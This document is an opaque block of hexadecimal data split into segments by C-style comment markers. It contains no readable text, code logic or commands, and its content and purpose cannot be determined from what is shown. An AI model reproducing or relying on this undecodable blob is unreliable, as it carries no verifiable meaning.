ffe4a26b50dba3388d367711ae5fb3b684fdb030d82b292412bc0ff8110d44591af7b5f45aeea0136f82a84dcbf265c01e93bdfd452ec3ec9dfba06d2ef429a789c36ddd57823491a90c82496c6c518b35bf658ce9bd8a5099c272207a94b9685b758b12548eeb982cfd83e36514e4ab760968b6cf9fda47d2cfff21491fab1d8b0f84e26503fdb010cae70dfe9f0a28a30c24aac6df99d4575abaf561a1d92e7eac62fe78a834701b04ef8582f0701ed7ec5aee4128e792cceb077a3fcec06030d5ba73e5cb76f35147922bcb09e9d32ed0d03dc306ad6013f9c79fb1c043d66132ea3280c88b970c17371a64db5f8c4a4819d32618e6f4c06d6cc6c87c6faea9e8b8e67867d9249eda2f7000b7139e8aa7bc8bf73782aec6b9e16e475c95cbdc963d661a335996348629d29637d086f2e9024756dcc3bdc0d8666560427f434b84b4c96373b4f41c94d43bb2fba4b671ba6af39bb18a2311f0309edd544c5afc68eccab24d2314008b0e052abf71a54a76fb409b956346bd9c4dc99cbde2222cd5282916b737377a72cf8fe6a0db88598a649f30bb37df419bab39*/
/*95ea2dd30a8b7259a34ca626d3a076dd2c739dd621832cd8a66e19a9110e036bee3cde7d5ee90d51d47349f54bd98cc24bec8725a69f09c8659207f130b1fa0c123c40e6d4f8175317eca2f66298b737bb0385130baa1ce51e62ad665db48a6fd32f914222acdca8d747d3bf43d529a0a260023c29f40cd074cb326869401da0967ebf5f519cfe3ca5892ad5fdb357fdbf522cb8ca3518a011cc7379c8c6526fbd24fd95f331307c4ecbb904d36d3a6eb15acfab15fa14d16ea2cac1d6788653fec9b70509b77b9baf9c23d3536f2b66c1f58ea501c5243841aa318cbff6ed5237dbacf328713cd1e31d94fb954c519d16433e83f51b5900e58970393fe96d3c5323491e74fea4cf9bac4604f3ae5ba9a32bc3defc214adc7952d483f42f3720afd6a9f55c9a43e266ccb47b862ac8cb37595603991bb7b0ae3f789b966b06e4bfcfad3247ca3afa59c5fbf3edc2bd7f1cfb1b3d502ea2c4566ed191a7ce3305487637c0df2b840c1af5d4536741009c1e7a981bb80cb1f2164da4af9042124db09dce3b095d6d807c7ff193122288564d7e57182d766a49d9331c63a354b4640aad164f2be32f2cabb9466d5fee12be9c6b4366ebd6fa23f8894952626f6acaa89551c1cfc454fd330ca5a45acc1b740f7b4873862d34c11564f40688b688efdc1b262675fe781ef4641d00a73761eac675f9025445abadfaab3f2f344638a17345e066ac1cfa44710088161bf9b9b8faa78c2f23d3adc38cbc0d36d5abab8dc18abb7950cdfa6ddf3d89a6d3247f9a5f6cd6616f8c3e1de368b21e90a528df4e9076c950410b19a8ac54a3dd38cbfc73877bf95e4034040c0d45796ba3540a6ece7fb4899748bd34473cd3bd352d0ae13d81e90e26bc33fe795420bcffc52bceca7bd950a8012691619aa5e91622e4671f844bafb690b11c1b4e7eefdb36d9888d963a17debe3a2ed17c6d55e69130833209b2ffd2214171ca4b3c4aa92d4a3fa598063faa3c9014a60a3edaf62c3bd8418a6587395f31bca56d714eb7e9fd2c0931704eaa7e63ab5f33dd5a1375afdfe9d3a1a510ad0e795affebe3176024505c7ec27b6c1ab330117d8770ffd1071fcf919783592198c8e37221482dc6422d220aabf79c9955de4939f38ef3a709ee361b6e6b3aebf2d2ce20d69010d7fe1c2f1cf54bf122f07c00ba71f41aa8a6396573988c757b4a4b01274a29739ba8d265ea624faab09f84b2e213238c9bab97e79ee62e866babc37e2bdd27f31705b4414d27d210b9dde5fc60191c111b2e8f96022b012cc1e37c3d840a46b99d1974e5513c63af51c9b9c4d9d6889699024e9ec190f058bdc7acaa605078606d8dcc32c3a0d1f298a980f3041c26d1764fe26cece12cf44d5b69a49a867f4e2ce1074515929f39e2295c04ab3a98b4a974a296bbd6dfea4bab1001df2048377c369e98db74efac2917703bb0248f43dc0183de36f249b49a0c2101ece3def437615ca15be2408d84a4bbf1b34ff10b916cea796bdcb93474a2293447cdbe7e9ab6e905b5e86fa8ef4fe318def88c73f1bdffd905e2d6e2e2a38f58dcb85d8f05d6e82f32eec6293be0729eb21d8fecfd428e6a6e7ef637eee34aec76de8f073fe78c2be7d8773b5a3240fc2dbf92e8c43f0c2f2bd751a3bf3930964256342ad4e256e3972aeba84c238497d3926592f927d5808aa89cc47ed5c95ae805936920246f760c67c2ed78514bb77edc297f2d23857cab0760a5eb6d4b3a3b7e6c38ecb9ff37affbd637ffba73e2a0de2eb0eed7c3a89e947f5a1a2decb90ba3a0af986465877cfa74e37bac45aea87218d7288eb9471d121863349551fcc4d40f9045b4d732d0b9a305186fd4a4979c208dfd84dd57bad259338630acedfd8b41b7f3885484c3187cb88018b7182379eeacba38442417716b12015f5503bdd415e219d14035a96350b8d81eacdcfc719954545c7544504acd74fcd688270b6e832a276674e0b67f1634e429b3a7d2d6da4e44e1fa74c66809a5466987a0f78e7220b15b19ff89e43e06b6f449394040e44d6629a3d7ce341cc3811e676437d003e973c948a2235db395061c5913aabdb9c56f6dbd798a843cf9f80ee761bf0d9bacd3f5e3530436e2a805805dfeba99b0e02ba1db25c83161197914f525a4141ce965f1fe4fa71dd2b04bbbe7c69efdfc9bd63c20f98d2b61621aafb77b7dd01a0fbd345dfdd4acb4813e9cc2b094c11e859b326e916197454fe8245a0ce84ae5315c1bb8e930ed9117ef5b37a7931a078d8292f696cfbb6373672cc24b70562d933ddd2284dfc859d6ab0ff8d8771b9a0dad35e363f58e823f128d843a1003bd714c413149904a855825c551646a83d8eef013d965b0cb6318581f2472726bd4e749b24add2de196cd43281972d5830650748e60df1cbac58948b081e7ce86bd7df03dbed61450949642f59922c1b8d3871dbf028ed614033158e049f43c062b5b953fb8b3bbc5933ba23c8f6e070b0ddb27a8c240b39c7191ccbef62ef7b473b528cbe6d337700ebc4d8503155992f130ddc2bec462131cfde7f1e749814b53568e2168e0dd787c545d48bb6114642edc7d36dfe09d1b3b90ed3d96d267e48297b13081f04bf07fe9b3d8065dc6638ac9080813f25116436e9f219146a07c95fe3aadf3030034bc9c6011cb5af9ac218dc256b6ff2ce8e9770072bc4ae53ffbafd02460c6c8a333e8930afa423f5b2587ab2beaecb5172fb7a6d10090072a150de215cc6d35b1d444b83bbc7aaafc7be51e536deb23e27f2ca735823884d82948212fdfce1c348224a91bc232d1e4760f2eed*/
/*190eef202242e6459f8714866efd908018ed4bd2a01cee32cda9dcf3d6477c879c3c28ee876b29ebc917bc8b810347bccad399596a63c1b00e89fdf70f6e2ffa3eef14fb15931614a4983ef845d724af9f3b61fbbc15e4e86209077cf6be8bf4f753bcf40f86ad865c4e4b2b6bbbd8ffda33d9988bbb6ce9a34272672e1dd4ea176ec0731e3fb786bf334602e7fd78dc26906573eb1788a9910c493554c9437a7110c79ffb1c880e6d8d60b25c7cd124c7960b27698756a8b9755ed9905e7deb4c06c3df464674589520b83efd7673479ec4e70f8822c83f832b15e6334147b8bb2edac66f42d38fd21d996b3b0e82deea2d2ff95b68b401036f956d545a8bb2e0d331f99c1bdb655711854e284d3b4704a492585c4e640976c78e732ca86411bdf5d7667107a3bd96a338ce6d0d88fec0cc23c54f10753f72a6e06772cd856c6def0296bd70a4e414643fc0fb06793497a9a84fd526863d598f192436a423362ba9dc1aa863cd572148f96e146cd6d54172450a304b6ddeace9cadd7b376aa84a5b84064d9132c655c98a8279edefa75cd9d07d21143ad3fd8877d269339c40dd601bb08108116322172212b45aaebfc0765cdd2d96a1f093bedf4e4c7dda8fcbf169c9106920e198b0bb1aa937aef935daf475d1ce531dd720ba5012aea70f67a5127a5857fe16db2ec163eaa9b24d33540a8e3704139d3c4e2e25d77503aa20fc490d1e488dc5f376b767edaa511478e2e07444aa26c02e5f284496767aebc641ed5c1f88947340caa948e80c7fd87b83728e55cc3868fa297baa80f393af12c9f9db0122fcc0cda782be49bf48a2b04d71ead64feeec40f993aec5f278aade728196d9b26042f6e8431b11e1034bbbb026164db7e19a56b9f5a8352d90387192dd9eac8c288a16bf1a4910f604f547d089eef94ac84acd51fe6fca239978c684dac3d1f9cd3cfa1006619e0525278f2618df684afa10309c1b21639bad2bf88ceda5cbe57f6bd3ed78b9c774e0d14e6e2055a4706a714d371a0acb3be678140bfe5f7faa7a3e54332de31e4de97c35f9e7e03a3f2bc87490e8a804cc3e01191cbdc9e7cdd9f40d8b102d36bef886ab6deb58319bdb9912168f61f9b40c952522bad11bd882d4bddc866e0f710a42711c69f26bc0ee0a78285692b12f06730dcbc09eae692a4a7424fef56d99564d30c34e2dadf8245ca246715ebe9cb4b991b98115c9e82960f0c01f2eee6020e2acef4058b59b2a405b1edfc3dc1bac5129f2d13898d13bc0a22cd5de251ead221889a5d470dee43d9dd1016e23ed479d71431b29396623970bde83f40d9250d77326788498edbc23e40e6df831ded399604d27a1504a18c439dff3b9568aaab150d4787306d8d6812be9e3ca1f6b8ce93c1a4c5a8607fca00e73af4e306328ca3a297483756e4fb091fed66591217a68a310aacbdb997101ed88bb81ffbebc58a92b8d140f9b76de2b1a93869bf0516d2adf22c1f8f1c740c0302c1db4a84d77639c1cebe8a8390ed03e6ee69af42a277b6f3aaf5334be56c92633f6f3868d1185e742b7cffb9a1f4212b8997840e08f37f662a5349cde3499d910484dc834e8527cd299aa83e50e59cfdf33c31cf390acf103a9a2a685f71c429037639c4849491486466505b603a129885546be6852c36d56473f804e8cdd8de6bd0a0ab2e9be0ea127013240bae28082efa9ff7d7f828e01b052cee11ff59b3864e2244723834bce980e1a6cdd81a1e7a52352cea054ae1d475b27939c51069eb838650b19fc78fb5f9142a8de558b5868414d591031edf95481b7e21895e9e2ceed0bd773d72f71ca6c112d019cc34c7d3fedfdad512c2165a3069733894243536d2487af3eba607e11f7255f9b430919d81ab75e067e9dcb5cc3d270a13b525545f6d164b4303b87fb4e5900d114e768522e95f127818038aa74ec2a86a2b8fd586e58b82ea780e2171ee629673a31a0dd1ba29f1e7c78de6318e5f7dc7775ce07956c0a57719484a4ef3f3a169a2c42ef8c60873712078b3e62e20534afa346ddb378f1003cff56b9df835ce3101aa16a66fbfc3b8995846aedb7c16bc384c95b530a737f420ffb407f4944aa733e0f82d358a603a736a3592950a73b1585b447f50ea4a814ed8314b4d395a29f5ea752d6cdfde974daea3ed3ed988a89572de5f58abb8bc194a1b49ede96664f536cccee357f53fb0904b29da090b61a38ab8c014dae64d6b432eab0fb15b68f9b43fc4f2d69c43a9b5672799d58530dbf0e4c7443b0b8c8c7a563f0a521cb83808dd893bc85c59678e545c428688043e2fc5734938a8b5c3ef608440839600def8b7789c49b403ef56e8efe2705caf12930f3b645705e5a5d7161b87f8e22da1e75a472f3fb86913a84ddd62772f00844918dcdd0799b559b3602489b45ca43d6eefdd508aaf889df2988a5cc7de8a8e014af8c21e6d6f06568d1553c8efdb32b3e0b4a72a0c71e7069a4e607230c897baa0f92717ce1b040db96a21f5a163e5c0d68502e64d5de774b85550d94176375d39582044f86020b36835da5c68762d606af7de3a0be5f29460340c199f40535e98077bd6b50f6e09812ef4d2161860e6ed351f0aca34c510dc1a3e40c8b27d8346ee6fa07b9dcca4ce8197be05acc93bce52fe5ec4d553a016a99f5920d5af0e6cccc6c095e6e8cfe90fda75752cce9d85ac0852eb3077da7192f757b0e76c4290721c07f7deec403a39c5a6548cf601042862eb8871ee4223d62329f2d4addafa85d31a294912f6c75fa913219a7df2d5f40228e83550799f36ff882124740d54a2b7a86*/
/*0085cd81b562512b0c1d96a58c563a5e1f5bcb61689a22c2058a07a92ce01d7433c989b0940fae21e58def8777c8a2b9624cc57ff5402aa9b29cbb85d8668914e310713766768cf88eae557b04a10bdea3703481a8e27824f8d255156675d6e86dee23bf54c5af30604fc8a487c91c9f7080d982e8c6b70b86136c37342318f57c7fd6d244e9d0f20468a8f7b97fed055e8cc8638b00d32f24d8f199a8c740dc4b2624ed92b6e31c477435f7a324af6c728b1b209f882ea2bcbd14e59ad3f28d6d4dfdfc48cbb54b9d7e9fb428d62214fe73a38946591048d8fe01f412a54891935a51c1532c4b105eb52c05e33b9f0e5aa3a0841fd11595c1d66b08f19784eb939f736e3b7807c0401aaf9a09e1064df703db8599aa56b74fb8a32573bbbcefa7a9ab835ee938ab745496b88a0ddb371d9ce3c2a22e9f702adc5f63c9faa2700a6cbaa70c92af226b0106deca68754fbbeeef48222d8b2c3bb608ee3678a252e56a3e2abee1234194a3c10c66fd1581e58dc0c5a878314c539d36c50caeffec2291475871b827c5c49cbbfe4b5588ab7ab3e307c9055096246e7faa3c206e5799c0c8f632ed4dd32d940aa7f3f824335aa424d20d39b5590fc2ff2dbae99661edcf53e2d20300055115b7e0837f480b2e5a246671a63eadfa30e26410a7cbbdfaff3bae539d5d0af527a2f8abc28ce2d8fbf0f99717739de0f2d76ee1d69030e77f872cf61f8d3df7f1e914902c3ee4354f0ead177b678e8b7d68f02c37b6390498602db49d647333c9e24ee8cd3623cc2c3fc15bdb980105184426fd3a13a5f26dae04fdcfe81f5304e268dff98e2d8e087200e301891e4e84e9b30ca944bb9066cbeb5908b86ee5a37dc391283981b963f6313364c01f5614da3e30833ba8cd4d7cc2fa004aac4326d1c70df0db5f41729151415d0aae1109fa0fcb94ee66041f699df2d1d1837282d76c2026c6703498e5066c7d758b83f2eee5bc2163ee4356f519ce475bd50e501a9a731d9c92a5b6cd50a9d750c1e05a45413bba263419c7fb0fb3e72da38ee86c683f4418bf581e683a4bc38f0b9100582ee6c4dd0fa3470fd9e535a008ea1acd6082a5c73f584b16565e103b7140f8eebba9880e25c1c8bf75f9e5e8a7bc94c661c3baf133e083af2af3a7049b1660f084075d9fa61d29dd2e7ceac2697dcf536d589a7d3fcfd52c5ae8345d9072af26907e5059bb600c7f2ea0d4a7f48d30b2a0ae7b5e680d749170b09ee231477619b2ad78fcb79e6814b75b1416869f3984b31bad589578cd46c6e13ffe42035050ef6e75b1834f3c793d9508a41e46630a93429462e1e58f69bd668c5bbbee403c3b9b574300d3339192209e9bce54a6fc78af128e0c83ceb57fe3af0bf0da4f9d0578169435f6cf36c97f96705ea9ca73bf5d3a34eb8e66d88a9300c9f095c1c0318fec51ec14d86b13cabffe66ec8c9a7210e60462e0aa875cb1a7cf2cf9725356363e50bf2d49931b633ed93448293a85a32487d4e7334f483dfa8172f59a57123df0fc5f16ae768e34fb99193f96e390cfd8bc95df149598c6fd7fd98d19061c6194b8c6326d91b3a0b7b92d2e8b296d13a56b53b051ab34332c4e9e6c72c8ee59b9305d3571df020629f6785ec338515c267bd5c66871d9f73b90341546d9b549cbd228ac1f9a4e4c8838d9d418d65f5b433fc455b08db5d5d08caac0194951d7cb6e1fc3e9f5eea4db508164ba458509192a27757f37c1ea1c59f375bc11bb377f6fc293a07e3e15c577c284c00b7ab1b53827a14b9b36889b0a7b20bbdf3ee3a0f686c01093fc7f95523e8d554be4457937b1f0a5d00e05bbb6ed08134a0b2d5aecb704b745a14cf49662944c5ddc46717e8f7e466f0a1fc7e5012b6cd9485b008c3e613d42b4e01b3772434d81cf2f9b51d5a791fb04dd90ad105bf22df2f0f66fa729053879947857b33a4be35014e41a397a2fb8f975952566c597dbcdc6b0b9fd5638417ef7718a7994fd28b4650abdf0f6c03a854913aa89fc7a06acdafbc9ee45e6337feb8d21dcf1a0183c498bc69729b7ffb88c951cc230ead5dce3357d568cdc43aee865495c87426451aaa8950e0f2f064a52fe42e44b74ad4e1a98e1d1c6c95229fd27ac26cc9d934dbe460447a71b2cedcfa8bead00729eab4d3826251d3243176c4b0a3d6f9089e1abb33eb649e4a8bda1deb9d052e33edd63c54499eab53b8ce0d4493328f0ac6dbbb3bda22b9dc8f9c1443b1abed154abd5597e7f266ae4c8459f0eb078f760bd827553f41e5443ba599f9a410faa5d101062ed72dae71c10393ec2812a39cee466ecccb500220e2973d1589a5c6fb7d55a47137649fcad8c233262bf8ea8b2f6732394f5b8decd75b2851dc9333a190072979250387fb96dc8a916861ed68882545b98263330c27cf6476301cca4fef88acdac708ddc16b3ec78d0524a426c46af2bec0d848dc37eb9275c750f62c9fe0387991cab790da41ec935ec9e0f934ee5ec6de0f2b2f072a32a8f73e89c1fd6a394531633ec0d7fb4e5ef736aff25e06c7e5525d6dd856a1ca79ff7699737f91e0317c0ddc0ea6329909ae52d49e3e07e9cc1c25125c502a996c92292e00b3f50ff9a5acb459daadcfcdffcb667049b26e4c9e586e18ebcbfaf4db92e1a68866ab70529dc931da1361f8d238eb837959bca132ef4c7571d5cc91e8fb6bae3cc9e08334a0ec7d7fbf0f00ed72993233563cf8e8ac53303ef7748db86a4ee2e387c1c10837f41e0d6d7498fc4bda752322eb2d894df736550f8cc833092336d04195030bc4e9c6f070f552aa679e6cfd8765aa4db*/
/*a1620c5baa343b7866bea08b5bdd93bcd9cba4bae9cefa449b3be9af6758651c0fc095cc7d922fb28dd9fe347e385e382abaf502c966e061f5090e9c99a7c8cf11bd65b71186d5727408efdce55efacc9205ef3ef1485fcaeb1e5dbcbdcff04cd893d3b8a1f0e84aefaab5df3b1c7b29753f90280a43cdaf52b2afaa3423b1ec61f7efaf77bc61d4008edf6c9ab9e8ab15fc3570a302373e5162f44bb1b58d7691c5eccdfbca013676367835101183f8e6553ef8fc26e01c82fb4c5097ebb4c6ec051ada22f07bad115fc34e28c27fedebaffb6f6d6af95e48cd5627d8afb2b4c8e6ad810911a3a2b8e86bd834ff73f8136c1eed65b9be6dd4ac84ff907575b45f3ee20a879b6ebb0f1cfafae64aafea6917e7c9cca59c3ec2ff8ad3a9035853ff12aa425c9db2bd351346871e7f31aaa8aac4de8ccfeacde4d3eee8dbd25ae59773d2e76aedd4fda52932affdcf17843b3d42705f96374003aebcc89f6fe08601f65fefb617e3ad771083df735837b30e66ab964cc04510a9a49eb4147978130441768bea4170df6f3b1d61d7ecaaf388983efe9689f64cd9100c25420f43ea08916a8478d51f760e377f786fe44977894e3e1161af4a7107fdb51b79154ce4cd32b39c25ea80bdabe71d39dad0a18d58254b413c11ebd5b58dbdefd8b366b7d7c2da60beb2a3a0bec03f545bd125c16d4cef52acef5c90dc7569333b0c7da34a83b6e7cf85dfb86e3d5a61de674ade334e42bd55796459ebb14a5803be5c382a745c036629298cca1169a34a18ed9e42d1c5c5ae27de3ee383d14516f2f0450b6d0d74aab636f6af912f269bbe1278b20a436e7bc2372a041b12c02f767e0a2fbe7500e6774689b504de4e37b0cedf51de9050e414ca98c806cebc173b7cf429e74ea2a8a5ffc8571e1fb282d7bbe8f305783b1569265565bc0a10417fe516add1583cfbc791ceaa56dba93fe8c7d2b718cbd7b80783ea18a1bd784be3868d32777716138470f16b5646a405ce1d60c4331a7126b307ca543fd17ed94eee35c8bbcd3c75ebf0237ddc7457a35dad3a6ce80d25e304779079c384f91cd2aca145dee4a62fbab39ff080b9045d2375509a8fd30bb28c56e41df406b9c69336d606cbfb8bb264fb6f18e2c39020fb1c29fab42a6b935a59524c619747ab8f856dbed2e3f749caec4bbad1535ea6211d940b7964b13b0544f0465046b0ad4e490463fed5270595f3457ce3a9e283f50b67d97a7b0edc748198d4831a48df7746a36d7983b62d602cbc78903a7faf729e591dfa67eb9e964853b6d7da3c3203ffbc17c610374847728a944a96b249abd65f1d982f72ab278b3d09e70f5f062b6dc34f2efdcda6f692a18daae54ea6301aa0126b3bf1ba428275143d95e2a6a0480deb99b9f14f56cbe769985a371824518b2d7e2663ccc9576223f0f8a13fab110a6a7a9318c7f99a52ff9c8a65d3d34b6eea8481cd01724858d85094e460a20b504b57c54a3b8e736dd2a616ae3e96cea1516dbcbd7fb9cf48883767628588537f98aed138ddd1e036720c9dccacfd5b7d01a05a77936f312dfff32c4af8cd4df91082314da5faffcb13a3b1e9324c0f329323c01137b66763d4331c6b37537ee960ebf9a5b80018f6c3916e0fdba4313dfffde5fac0996ebb885959806bf3bd5dd405ef38043a4f68aecbbefca89b0b9f3c81ded5598a4fe58fd880e80948860205467332a5e01a3f2392ea3b1fd8b2322dfe64637e2e933e7c9c1af20960d1109c8423afa38e738b2475777559b9cb5ae7d1037791a60af5b2d33838be2159116b112f5295ba98ef530bc7f81226e3042aa447c4eebedc89ce501dbef9c8bfed8e77ff6495c7ce8342404c8b3e752e5480efe6ff21668c716e716907e57084a549998fbe985d8ea1a9b255818b6fcc2f517294cfffc4e75d5f6a442b96769d10aa1fc4d7e7bac10befbb66327ebdcf982fa9d8540ea7a764b5b49a7896a65979019902db2a2fc04e980784eedc3254cd9326441bc2400483a124b1ecab207d32ccd808cd15ac9a78dfdb8a18582ca157f6bf55cc6552790a93247cec5807f58ddaf0dec58dfb1e2be074bb764c61325045377988208182d72d3925d8535b77bb464159769b461752d8b45d2f3812eb04d59b942d54479088d03ccd10ab764df2ac20f87e8b73a48c7ae42fd6e7fd6f3e388c3caa061e387dd3258de0f2b96b5ec168a056bef3eb71c22a59819da3557f0ebb665a1eb233812337aca70a976fd9e743fa78fba9829314460986193500995c8bde73c00b3159cfe941d0277683cd41ad82d56eaef03ddc48d67c7a14d6a7c931769793a326a44b7510fb945738542d7e026ce8426ad7024734b47493ed908b20b8f92829f3a9214129dea34308aa16d9cf0356400f180e88c17e622c47eebd9b1cff131872db6312faa388717be73db2955b23ac4566cda2e79f312d1097a7a34507b2d28da197b50b30f80294a10c58bd941b6d9c1bc7d8dde6b6a1cba47e4bbfe9108d651a1751a24066cf4a4440761f9341dde17a72f0cc131ee986b233dab4ba75b771e5a4bf893f2fb1ac2d5567555a4dbfa9f61c8fa0d7cb8f507258b37ebecca092a589f0675fe2e9fcd5ea0633dfb2978066a9e5db3057b8e925b9a8039901d22a81e9a3f7461b8147f68b28d7c9680b867ba05400239e30dd314b10819ebcbc52de44d288224fccaa76da6a93c2093f58ff321c2864ff303c592a27122affbe56e31c882244f2ec5a6dc06aeede53b8fc8c8708b54a3c06c0d1b7ba8ee6fa75f6a85e7c2bb83a7075af1f2b81848edb5f465ee531a32d16135f*/
/*f304571c314eff28bfd07da8ff94aab47ef43919c0b98293f5fc839e7e2584166333c158eb7c7af3d21d7b704b4a97aeb6fef9e914756da5490c87d16ccfc4641e8bc2950ac9079592d67bf31a8f640b8d952dfdd891729bd62be1b2bc35eaf9c51e8bc13568cca179df6c389908c8c8d807de2995f34ae4b7670c48637dd1e338540d952e0748b200bfd8822b4be66e61a419f57b0a34fdd2807cbf432761b678e5e3a04235aea077d2b1e89ffbddbf132fb8571a930dd0b6ace22015eb353640baf75c7db7c1fdf3468f8324b2e81e67a3ac9df9fd05e8d2d31ee6eb9add698900b8018a4ef49352b211be64ed79653abf8152bde463b4493763ac610b097accf4e33a2684623b7795e831f92439913427fdaf906f1452649eedf883b13175884dc50838e5570e9c01af711cf9a482a732e07e63b7d6216e6fc8713b37736e55ca588599166ca3c076111426ad102a32aec99fcd209365be17782efb466f050879011cbee26586a1479d7b9955513d31f833571471dfbad890a37bfb4aa54df4b72984405354ac04dbcc24241609a6f7f26d7cb60609a19fdf3b9f1b4ac763cd98a91d61c7f993cec29c7235e38b0348443524361946922c3c79f98f762efdcebb6acb967e16f231710d981de0290d6c86e410b4aaec9e9dbb300ae7054a7197501dc5bd67ec4c3d33dac2706b74003d5294531556def503822b5d1efca2e3f4024abc16e734cfbb81dce499f97e677d914727d206be648a96c8921a642116a934d6174ab99dfeea986261ade570276ac8d1ecb6d515b92e9bbb65ef213dbce54e0b2e78c817c2636cccd7097266c411f2688d2d5513cdbbef177a46eb625a647988c258e3b971831e4fbfb51e9e6dce9ca136097b6f93eab4f9e65085213cce78d068416dc2898fd16179dc61a3bfca7adb490c28d570a70f7a4a14b7eb127a429ec862005462b5c7f4f4f3741501e13f4db066f58462c66ff1f0084438f497c92a97ff64eb6edf75276f14645310118b93b01488473eba4544fb5d5c29e43c573c209bcb345b6a5f344c543907a7f025063285ff68843c41b789294d2076b5e84a9dceac2fd4171325a9a198b8ca72fec7a0ac435e63167ec295059323707fca510690119052800bd5452bc3af12ed9bbe2a2b160d3e3129396ec2d37f6b8e54102f0311a350722aa6b1eb2e625aa5080704e455c1362a12601f383d9a3585007e95b827aab3f8957420d785fbd412a6d870411b77b0840e2f9ef1b84847319058e99da9ff1678d2c72e7b262dee0c2c741a0a0db19821f7293b30e8f48e013dc2012f3dc8601022946461dfa144ac12bf133bcb713b4bbb175a69b00abe9d3c8cfbb20f25105d69f0816ad728b626447c0e28e2d0b0816857bf39f178755630d269c92b811303a23ea52a99ea275e14f8d2911f97ad1ff891cfc1a12407cc9ffe94b2acc21b72a3982703737ad6dfed6869a28965ae222e25085985b977c91b7dfacbcc359261126050acbebb1973f9cb735e13faa014e82608f61a56b439c40b02a6a7918b62ee62155a295bb6b9797bb39ebae73816b606cf61d61ed4c45b4e6bf44e4f7acff827896018578b9ad71f5cc76ecbe73a86ef3c80f189ceb1d7c572cea564196065d4f53e57feb5edf6879b9d4c266ffaba89ba3b4fdcac4b5af7202f0c21dfb169b925e33ac59865d4b3f70dc6b2b928f7a569205602a946af0e5feb5d91c455bcce7a1716440c2568981799298975767c783e18b0e03d6f275ef142d9d0794027b66f8fd6fdba6212b95b059c93ddaa714031191195913bf609531c2768ddba1a2659e2e776fa13ba2ffc47fcd76e430ef2cc04512a8b3c56b61e9f62572ede7db84fc290d5a261dc369d832efd8a1a954c29d05c7ffb76e734e652ede293c0643ffedf9655ef6fc40dfba5ec356deaceb609f110b2cf0d0e3685a97957cad4d6c33cfe314af1c303c48c551c0c54dc4e90eb1689fd92901b87439213235fcf7ad22ca41bc37ea8d8450ec0ebeefd8cace31e5f5d00313c182d8304d92e56a7d8f30a778c6e03f37372207fa6479becd250b360389d1e81aef4d3f5a1ec161800a45002e6d423bd9d3a5803061a60d8e6a724faa8c2e555135b32b6af0377b9799e9237b4fdfa041f5e09ca1b4a432c812c5b5abc0af724214a7704db6746318372170a3d5a57dd59033dc986f0683b1e8100e733e36d6bbc6d0312c781042cdf1023ddef2c47064ea448e8d3dc70d9d5be93cf02d17c89594848af03bd3f5813d51c5f4e3a37c4b2f2df6158f357932dadec3d8361b3df15113b718cacc9992f08e85ffa7b111ab9da2be396bd4c8a87d4e385f40b5daf3b4e70f464e7bb6afa0dbcc92cf078e4b7dd646459c3fcb126ba40f6e0dbe8a8e969bcb3862b5ac6ee569f118d27e3116b75b8af97195dded9edd1d131a312c2051d8243593426dd161f127fc48a55134afa359553590c868ef15249696fd462ef86397178c86822ff8ec9773bda92aba8d3a7b5b729873223c663a7bf661edbebfc8341439993e174e355f1503e36caadf2589e2df3ce4baaa565a515d09c8212a013156f867cbedcb99a49786654e0fba36eb780446a6171f0277c6eb1ca71f4ee4a034dbabd2fdbb2c0f37ad53b0d3bfb0ac894563be1b4a7d67c1ac965ecf50779d938fbf6c53d392fc45f48b77086f2379fbd811326ca2fccb9f5bdd796b167ec2d4eba902c4a12c0a6e64e32a521c5889409df209fc78fafc3bf156dce2725eefd93f05cff65a9a2088a67f73c3b753028a54a201c4890fcde92512304a378b7fa8f046e2640e1b956656f5b*/
/*66bfb28bbcad84181d1841ebb82ce8e82fd1bba19a5b965dd0676c7d60e25e8e363e53112b5fd6392fd0e7259bb4b271d2ae41f890942a7b5d8b91e354b5e9c94d7e64c1a88e0be6346d36a4808b0ba8c83b355e2ec31448cc54ee0d4ac3166fa049191df8f9f1e0ebee61c5ae321f7e8d5ec5b8607a2abe9065de8aae34499992b47044a99e961c49c054e8649cd9cd1e3ad2d71b28b048cb8a28698660a2298cc5af2b2a934369927aa435d3f72bf4ff7da551a976c7a4976d3dbd26d2133625651f17e9d0c2aa24578efbff068133caabf010a9c07f3e40c03ed6fb6beea69bbbd4a529e9bbd7c7f91a9831c68bbe21bd67cb08e1589721e65942aee9620382db3a92e35c3280b5cfcc17ba26c16085c57ee3f717e2be2851ef549c38fe67cd3a1bcb63ca1220971ac8eaf733ef6cb1e38f47f42b8be8698dab946941bb3a0732e82bdbec77a0513b394224aa4acda731f808fbe5c430d5be1e1eefd72e3af69367fb5faa247079ca1f06a9f3b09ff2928722049197c5f050759208235a311bb91789aba9b472a36606fca765c9accd321c6a983224ef69cbace8a06052925d9f19756d12c9428a8209a63c3701143a18fe8072e7f8fadbaf2aa91b3ef5389605cd0b7d3f87b47a12e6edeb1177a0dc52582014bcc1fbec97d34f70d3fd891c75dc20b1a1f20dc1298b0ada1ac521acc3eaaa235c43f733e803e031ac823bccc253b88fc2c917279a2fb46559d658bf5cdb59c982a65ab0a0b233e2da1ebfd465fb4e2df1c9729df05a0aa0e37e028faf7bcbdf9dd723a8050afeeb1d2b6181d986defa4cd52a5011bc0d978577bfcaabbb3cef983834a83d70f58ebee670333a3a98d221b55746ba57fc27c429b4489d15025bb61f8614100cb92114818ca8493b14f5dd7d9a789ed59673cf33dfa2b0af1e8793535288951977c483de4ddf7b18e944f685a45580ee644b841f931ac8aebc8c53107ba80eac822fd45cc8a240b670be876f24468bf0bb74ae3e115efccfa1acf44c95588b3961060dcc303f057d89bd2448043524a65f07de37d0bbba9f5906b505f93a999f076da16ccea5015b8ce70831832b12bbd9f2b1a5f9625ead8a2a34a9aa72780179714a661eb6197759d9e432e179953c2e9553cf41ac446e48903b8e5792ffae521a8a0cd149ea1ad160045a5b1f2f8dfd8f7dba1540afa893a1d68c77b8d895d386ef1bb2f29a36c0b05c30f6e321b150a57215a82bc812ce523b344f0710ed8901ce2f428bdf468983e545ac6dfa005221184f3c477d5631972064486dcf6c77962d60cc4497ca53f28bd1a4b634d789799107fdc0f3a9e9442f985d1f16e55ac6710876599ce0689160cd4d8903f2b692aeb36773bec056f33b6117af03a35ad3a703fdac67206553845af85b8eec3b15d5fd06b361a7f459e3d989da32bf3cfa898e32f9ea0aebd97bf5968d200075fb3408f57384f312f5ad960ac804181b4faf3c6d33b22f3f6f4cde519170fb9ddb6f752ecfa5f83d07098af1a560b01dd517288df85fff27139be5a443f9651bb2d792b336b33d79d5855f634674d2199a5acd8799295b77b3e0aaecc28934483ac51c4012256bbcab266f2b886b